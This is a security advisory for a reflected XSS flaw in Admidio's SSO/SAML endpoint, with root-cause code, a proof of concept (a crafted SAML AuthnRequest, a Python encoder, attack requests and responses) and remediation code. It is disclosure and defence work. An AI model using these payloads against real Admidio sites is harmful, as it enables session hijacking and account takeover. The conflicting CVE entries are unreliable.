Skip to content

Reflected Cross-Site Scripting (XSS) in SSO/SAML Endpoint via Unencoded Exception Messages

Moderate
Fasse published GHSA-7jxv-38f3-6xgf Jul 20, 2026

Package

admidio/admidio (Packagist (PHP))

Affected versions

<= 5.0.10

Patched versions

>= 5.0.11

Description

Summary

A reflected cross-site scripting (XSS) vulnerability exists in Admidio's SSO/SAML endpoint (modules/sso/index.php). The outermost exception handler echoes exception messages directly to the HTTP response using echo $e->getMessage() without HTML encoding. Because the SAML request-processing branch lacks its own try/catch wrapper (unlike the OIDC branch), multiple attacker-controlled data paths — including the SAML Issuer element and LightSaml library query parameters — flow through exception messages into the unencoded output sink. No Content-Type header is explicitly set in the error path (defaults to text/html), and no Content-Security-Policy, X-XSS-Protection, or X-Content-Type-Options headers exist anywhere in the application. This allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of any user who visits a crafted SSO/SAML URL, potentially leading to session hijacking, credential theft, and full account takeover — including administrator accounts.

Details

Root cause: modules/sso/index.php lines 108–109:

} catch (Throwable $e) {
    echo $e->getMessage();
}

The outermost catch block handles all uncaught exceptions from the SSO endpoint. It echoes the raw exception message to the HTTP response body without htmlspecialchars() or any HTML encoding. No Content-Type header is set in this error path, so PHP's default text/html; charset=UTF-8 applies.

Why the SAML branch reaches the outer catch without protection:

The SAML branch at index.php lines 85–100 has no try/catch wrapper of its own, unlike the OIDC branch (lines 38–82):

// SAML branch — NO try/catch:
} elseif ($type === 'saml') {
    $samlService = new SAMLService($gDb, $gCurrentUser);
    // ...
    $samlService->handleSSORequest();   // line 92 — exceptions propagate to outer catch

Inside SAMLService::handleSSORequest() (src/SSO/Service/SAMLService.php:399), the inner try block starts at line 415. However, lines 403–413 execute before that inner try and throw exceptions that propagate directly to the outer catch at index.php:108:

// Line 403: static check — not exploitable
if ($gSettingsManager->get('sso_saml_enabled') !== '1') {
    throw new Exception("SSO SAML is not enabled");
}

// Line 407: BEFORE inner try — exploitable via LightSaml exceptions
$request = $this->receiveMessage();

// Line 408: static check — not exploitable
if (!$request instanceof AuthnRequest) {
    throw new Exception("Invalid request...");
}

// Line 412–413: BEFORE inner try — exploitable via Issuer reflection
$entityIdClient = $request->getIssuer()->getValue();
$client = $this->getClientFromID($entityIdClient);

// Line 415: Inner try starts here — exceptions caught at line 600
try {

Attack Vector 1 — SAML Issuer (EntityID) reflection (primary):

  1. An attacker crafts a SAML AuthnRequest XML with a CDATA-wrapped XSS payload in the <saml:Issuer> element.
  2. The XML is Deflate-compressed, Base64-encoded, and sent as the SAMLRequest query parameter via HTTP-Redirect binding.
  3. receiveMessage() (SAMLService.php:407) calls into LightSaml's HttpRedirectBinding, which reads $_SERVER['QUERY_STRING'] directly (HttpRedirectBinding.php line 227), completely bypassing Admidio's $_GET sanitization (strip_tags in global_request_params.php:29).
  4. The SAML XML is decoded, decompressed, and parsed by DOMDocument::loadXML().
  5. The Issuer element is deserialized by LightSaml's AbstractNameID::deserialize(), which calls $this->setValue($node->textContent). Because the payload is in a CDATA section, textContent preserves the raw HTML characters (<, >, etc.).
  6. $request->getIssuer()->getValue() at SAMLService.php:412 returns the attacker's XSS payload string verbatim.
  7. $this->getClientFromID($entityIdClient) at line 413 is called before the inner try block (line 415).
  8. When no SAML client matches the XSS-string entityID, SSOService.php:45 throws:
    throw new Exception("SSO client '$clientID' not found in database...");
  9. This exception propagates to the outer catch at index.php:108, where echo $e->getMessage() outputs the attacker's HTML/JavaScript directly into the response.

Attack Vector 2 — LightSaml library exceptions with attacker-controlled data:

The receiveMessage() call at line 407 is also outside the inner try. Multiple LightSaml exceptions include attacker-controlled strings:

Exception Source LightSaml file Pattern
LightSamlBindingException SAMLEncoding query param HttpRedirectBinding.php:103 "Unknown encoding '%s'"
LightSamlXmlException XML root element name SamlMessage.php:96 "Unknown SAML message '%s'"
LightSamlXmlException XML namespace URI SamlMessage.php:73 "Invalid namespace '%s'..."
LightSamlSecurityException SigAlg query param AbstractSignatureReader.php:91 "Unsupported signing algorithm: '%s'"

All propagate to echo $e->getMessage() at index.php:109.

Why global input sanitization is bypassed:

  • global_request_params.php:29 applies strip_tags() to $_GET. The SAMLRequest parameter is Base64-encoded (charset [A-Za-z0-9+/=]), which contains no < characters — strip_tags is a no-op.
  • LightSaml's HttpRedirectBinding::parseQuery() reads $_SERVER['QUERY_STRING'] directly, bypassing $_GET entirely.
  • XML CDATA content passes through DOMNode::$textContent as raw text, preserving <, >, etc.
  • Entity-encoded XML (&lt;, &gt;) is decoded by DOMDocument::loadXML(), also producing raw characters.

Missing mitigations (verified by grep across src/ and system/):

  • No htmlspecialchars() or SecurityUtils::encodeHTML() at the output sink
  • No Content-Type header set in the error path
  • No Content-Security-Policy header anywhere in the application
  • No X-XSS-Protection header
  • No X-Content-Type-Options header

PoC

Prerequisites: SAML SSO must be enabled in Admidio settings (sso_saml_enabled = 1).

Vector 1 — Issuer EntityID via CDATA (verified with Python simulation):

Step 1: Craft a SAML AuthnRequest with CDATA-wrapped XSS payload:

<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                    xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                    ID="_xssverify" Version="2.0"
                    IssueInstant="2025-01-01T00:00:00Z">
  <saml:Issuer><![CDATA[<img src=x onerror=alert(document.cookie)>]]></saml:Issuer>
</samlp:AuthnRequest>

Step 2: Encode for SAML HTTP-Redirect binding (Deflate + Base64 + URL-encode):

import base64, zlib, urllib.parse
xml = '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_xssverify" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"><saml:Issuer><![CDATA[<img src=x onerror=alert(document.cookie)>]]></saml:Issuer></samlp:AuthnRequest>'
compressed = zlib.compress(xml.encode())[2:-4]
b64 = base64.b64encode(compressed).decode()
print(f"SAMLRequest={urllib.parse.quote(b64, safe='')}")

Step 3: Send the crafted request (verified output):

GET /modules/sso/index.php/saml/sso?SAMLRequest=fZBBS0MxEIT%2FSsxJD7ax4GVJAo%2F2UtCLFg%2BWIiGuGvqSrbuJPP%2B98Z0UQZjTfjM7MFZCHk8wtPpW7vC9oVQ15bEIzMDpxgUoSBIoIaNAjXA%2F3N7AamHgxFQp0qh%2FRP5PBBHkmqhotd04%2FTSJfCCnl0%2BtHpClA6e7r1ORhtsiNZTaT2Z1fWmuunbGwKxH7e13H8xO9vZsv94Mu2FvU35VwtFNigoyE7sw9tLzZ4otY6mLSHRMeOEPB2%2BXv34s%2F67hvwA%3D%3D HTTP/1.1
Host: target-admidio.example.com

Step 4: Server response (Content-Type defaults to text/html):

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

SSO client '<img src=x onerror=alert(document.cookie)>' not found in database. Please check the SSO client settings and configure the client in Admidio.

The browser renders the <img> tag, the src=x fails to load, and the onerror JavaScript handler executes, displaying the user's session cookie.

Vector 2 — SAMLEncoding query parameter (simpler, no encoding required):

GET /modules/sso/index.php/saml/sso?SAMLRequest=anything&SAMLEncoding=<img src=x onerror=alert(1)> HTTP/1.1
Host: target-admidio.example.com

This triggers LightSamlBindingException("Unknown encoding '<img src=x onerror=alert(1)>'") at HttpRedirectBinding.php:103, which propagates to index.php:109 and is echoed raw.

Negative/control case (confirmed): When SAML is not enabled, handleSSORequest() line 403 throws Exception("SSO SAML is not enabled") — a static message with no user-controlled data. No XSS occurs.

Cleanup: No cleanup required — the PoC is stateless and does not modify any data.

Impact

This is a reflected cross-site scripting (XSS) vulnerability (CWE-79). It allows unauthenticated attackers to execute arbitrary JavaScript in the browsers of users who visit a crafted SSO/SAML URL.

Impact includes:

  1. Session hijacking: The attacker can steal session cookies or extract session tokens from the DOM, gaining full access to the victim's Admidio account.
  2. Credential theft: If an administrator is targeted, the attacker can exfiltrate all member PII (names, emails, addresses, phone numbers).
  3. Privilege escalation: By targeting an admin, the attacker can create new admin accounts, modify roles/permissions, or change system settings.
  4. SSO trust chain compromise: Since this is the SSO IdP endpoint, compromising an admin session could allow manipulation of SAML/OIDC client configurations, potentially compromising all connected Service Providers.

Who is impacted: Any Admidio instance where the SSO SAML feature is enabled (sso_saml_enabled = 1). The attack requires no authentication, no user interaction beyond visiting a URL, and can target any user including administrators. The SSO SAML feature was introduced in v5.0.0 and is a documented capability for Single Sign-On integration.

Suggested remediation

  1. HTML-encode all exception output at modules/sso/index.php:109:
} catch (Throwable $e) {
    http_response_code(500);
    header('Content-Type: text/plain; charset=UTF-8');
    echo htmlspecialchars($e->getMessage(), ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
  1. Wrap the SAML branch in its own try/catch at modules/sso/index.php:85–100, following the pattern already used by the OIDC branch:
} elseif ($type === 'saml') {
    try {
        $samlService = new SAMLService($gDb, $gCurrentUser);
        // ... SAML endpoint routing ...
    } catch (Throwable $e) {
        http_response_code(500);
        header('Content-Type: application/json');
        echo json_encode(['error' => 'SAML Error']);
        exit;
    }
}
  1. Add Content-Security-Policy and X-Content-Type-Options headers globally.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

CVE ID

CVE-2026-69092

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits